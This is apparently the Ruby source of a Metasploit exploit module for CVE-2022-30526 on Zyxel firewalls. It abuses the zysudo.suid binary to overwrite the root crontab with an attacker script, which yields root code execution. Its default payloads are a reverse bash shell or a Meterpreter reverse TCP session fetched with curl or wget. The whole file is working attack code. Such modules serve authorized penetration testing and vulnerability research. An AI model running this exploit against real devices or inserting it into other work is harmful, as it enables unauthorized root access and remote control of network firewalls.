metasploit-framework/modules/exploits/linux/local/zyxel_suid_cp_lpe.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zyxel Firewall SUID Binary Privilege Escalation',
        'Description' => %q{
          This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
          allows a low privileged user (e.g. nobody) escalate to root. The issue stems from
          a suid binary that allows all users to copy files as root. This module overwrites
          the firewall's crontab to execute an attacker provided script, resulting in code
          execution as root.

          In order to use this module, the attacker must first establish shell access. For
          example, by exploiting CVE-2022-30525.

          Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),
          ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.
        },
        'References' => [
          ['CVE', '2022-30526'],
          ['URL', 'https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml']
        ],
        'Author' => [
          'jbaines-r7' # discovery and metasploit module
        ],
        'DisclosureDate' => '2022-06-14',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_CMD, ARCH_MIPS64],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPS64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'MeterpreterTryToFork' => true,
          'WfsDelay' => 70
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  # The check first establishes the system is a Zyxel firewall by parsing the
  # /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be
  # used by the user to write to otherwise unwrittable location.
  def check
    fwversion_data = read_file('/zyinit/fwversion')
    if fwversion_data.nil? || fwversion_data.empty?
      return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')
    end

    model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]
    return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?

    firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]
    return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?

    test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"
    unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"
      return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")
    end

    suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")
    unless suid_copy_result.empty?
      return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")
    end

    # clean up the created file
    cmd_exec("zysudo.suid /bin/rm #{test_file}")

    return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")
  end

  # no matter what happens, try to reset the crontab to the original state and
  # delete the backup file.
  def cleanup
    unless @crontab_backup.nil?
      print_status('Resetting crontab to the original version')
      cmd_exec("zysudo.suid /bin/cp #{@crontab_backup} /var/zyxel/crontab")
      rm_rf(@crontab_backup)
    end
  end

  def execute_command(cmd, _opts = {})
    # this file will contain the payload and get executed by cron
    exec_filename = "/tmp/#{rand_text_alphanumeric(6..12)}"
    register_file_for_cleanup(exec_filename)
    cmd_exec("echo -e \"#!/bin/bash\\n\\n#{cmd}\" > #{exec_filename}")
    cmd_exec("chmod +x #{exec_filename}")

    # this file will be a copy of the original crontab, plus our additional malicious entry
    evil_crontab = "/tmp/#{rand_text_alphanumeric(6..12)}"
    register_file_for_cleanup(evil_crontab)
    copy_file('/var/zyxel/crontab', evil_crontab)
    cmd_exec("echo '* * * * * root #{exec_filename} &' >> #{evil_crontab}")

    # this is the backup copy of the original crontab. It'll be restored on new session
    @crontab_backup = "/tmp/#{rand_text_alphanumeric(6..12)}"
    copy_file('/var/zyxel/crontab', @crontab_backup)

    # overwrite the legitimate crontab. this is how we get exectuion.
    print_status('Overwriting /var/zyxel/crontab')
    cmd_exec("zysudo.suid /bin/cp #{evil_crontab} /var/zyxel/crontab")

    # check if the session has been created. Give it 70 seconds to come in.
    # The extra 10 seconds is to account for high latency links.
    print_status('The payload may take up to 60 seconds to be executed by cron')
    sleep_count = 70
    until session_created? || sleep_count == 0
      sleep(1)
      sleep_count -= 1
    end
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end